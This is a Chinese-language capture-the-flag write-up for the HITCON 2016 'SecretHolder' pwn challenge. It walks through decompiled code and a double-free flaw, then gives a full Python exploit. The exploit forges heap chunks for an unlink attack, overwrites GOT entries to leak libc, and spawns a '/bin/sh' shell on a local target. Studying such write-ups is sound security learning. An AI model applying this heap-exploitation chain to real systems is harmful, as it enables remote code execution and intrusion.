HITCON-2016-Quals-SecretHolder

0x00:

前几天hitcon2016开啦,就想着去看看题,学习下,pwn100的这个SecretHolder是个double free的洞,但是当时并不知道怎么去搞,今天刚从Icemakr师傅那里学到了思路,所以就记录一下。

0x01: 程序分析

程序很容易分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choice; // eax@2
char s; // [sp+10h] [bp-10h]@2
__int64 v5; // [sp+18h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);
sub_400C80(a1, a2, a3);
puts("Hey! Do you have any secret?");
puts("I can help you to hold your secrets, and no one will be able to see it :)");
while ( 1 )
{
puts("1. Keep secret");
puts("2. Wipe secret");
puts("3. Renew secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
choice = atoi(&s);
switch ( choice )
{
case 2:
wipe_secret();
break;
case 3:
renew_secret();
break;
case 1:
keep_secret();
break;
}
}
}

新建块的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ( size_of_secret == 2 )                    // big
{
if ( !flag_big )
{
big_buffer = calloc(1uLL, 4000uLL);
flag_big = 1;
puts("Tell me your secret: ");
read(0, big_buffer, 4000uLL);
}
}
else if ( size_of_secret == 3 ) // huge
{
if ( !flag_huge )
{
huge_buffer = calloc(1uLL, 400000uLL);
flag_huge = 1;
puts("Tell me your secret: ");
read(0, huge_buffer, 400000uLL);
}
}
else if ( size_of_secret == 1 && !flag_small )// samll
{
small_buf = calloc(1uLL, 40uLL);
flag_small = 1;
puts("Tell me your secret: ");
read(0, small_buf, 40uLL);
}

释放块的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
switch ( wipe_choice )
{
case 2:
free(big_buffer);
flag_big = 0;
break;
case 3:
free(huge_buffer);
flag_huge = 0;
break;
case 1:
free(small_buf);
flag_small = 0;
break;
}

在.bss段上有标志位,标志着当前这种块有没有被使用。

问题是,每种块只能建一次,而且 huge buffermmap出来的,我以为就没啥用了…今天看了师傅的博客才知道

实际上,先创建huge note,再free huge note之后,再次创建huge note时,malloc就会用sbrk来分配内存了,之后就是常规的double free了。

思路get,就可以接着搞了。

0x02:

分配huge,释放huge,然后分配small,big,然后释放small,big,再分配huge时,分配的huge内存分配就如图所示了。

可以根据这个伪造堆块,然后去free(big_chunk),之后就可以得到.bss上一个地址啦,接着就可以去做leak,修改got的事情了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
   from zio import *
from time import sleep
#target = './SecretHolder'
target = ('127.0.0.1',10001)
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))

big_note_addr = 0x6020a0
huge_note_addr = 0x6020a8
small_note_addr = 0x6020b0
got_atoi_addr = 0x602070
got_free_addr = 0x602018
plt_puts_addr = 0x4006c0
#ubuntu 16.04
offset_system_atoi = 0xe510

def Keep_secret(size,content):
io.read_until('3. Renew secret')
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline(str(size))
io.read_until('Tell me your secret:')
io.writeline(str(content))

def Wipe_secret(size):
io.read_until('3. Renew secret')
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline(str(size))

def Renew_secret(size,new_content):
io.read_until('3. Renew secret')
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline(str(size))
io.read_until('Tell me your secret:')
io.writeline(str(new_content))

#small = 1
#big = 2
#huge = 3

#malloc huge and free it.
Keep_secret(3,"C"*0x100)
Wipe_secret(3)

#malloc small chunk and big chunk.
Keep_secret(1,"A"*0x20)
Keep_secret(2,"B"*0x80)

#free small and big chunk.
Wipe_secret(1)
Wipe_secret(2)

payload = l64(0x0) + l64(0x30) + l64(huge_note_addr - 0x8 * 3) + l64(huge_note_addr - 0x8 * 2)
# chunk 1 (free'd)
payload += l64(0x20) + l64(0xa0)
payload += 'A' * 0x90
# chunk 2
payload += l64(0x0) + l64(0xa1)
payload += 'A' * 0x90
# chunk 3
payload += l64(0x0) + l64(0xa1)

#raw_input('0x000000000040086D')
Keep_secret(3,payload)

#free big chunk --> unlink bug here.
#raw_input('0x0000000000400A27')
Wipe_secret(2)

#overwrite ptrs on .bss
payload_leak = "A"*0x10
payload_leak += l64(got_atoi_addr) + l64(got_free_addr) + l64(got_atoi_addr)
payload_leak += l32(0x1)*3
#raw_input('0x0000000000400B1E')
Renew_secret(3,payload_leak)

#overwrite free@got to make info leak.
payload_overwrite = l64(plt_puts_addr) + l64(plt_puts_addr+0x6)
#leak
#raw_input('0x0000000000400B1E')
Renew_secret(3,payload_overwrite)

Wipe_secret(2)
tmp = io.read(8)[1:][::-1][1:][::-1]

leak_atoi_addr = l64(tmp.ljust(8,'\x00'))
print "system addr : 0x%x" % leak_atoi_addr
system_addr = leak_atoi_addr + offset_system_atoi
print "system addr : 0x%x" % system_addr

raw_input('0x0000000000400B1E')
Renew_secret(1,l64(system_addr))

io.write('/bin/sh\0')

io.interact()

不知道为啥io.gdb_hint()没断下来,所以我打断点都是用raw_input()然后attach进去搞的,所以exp看起来贼乱…

0x03:参考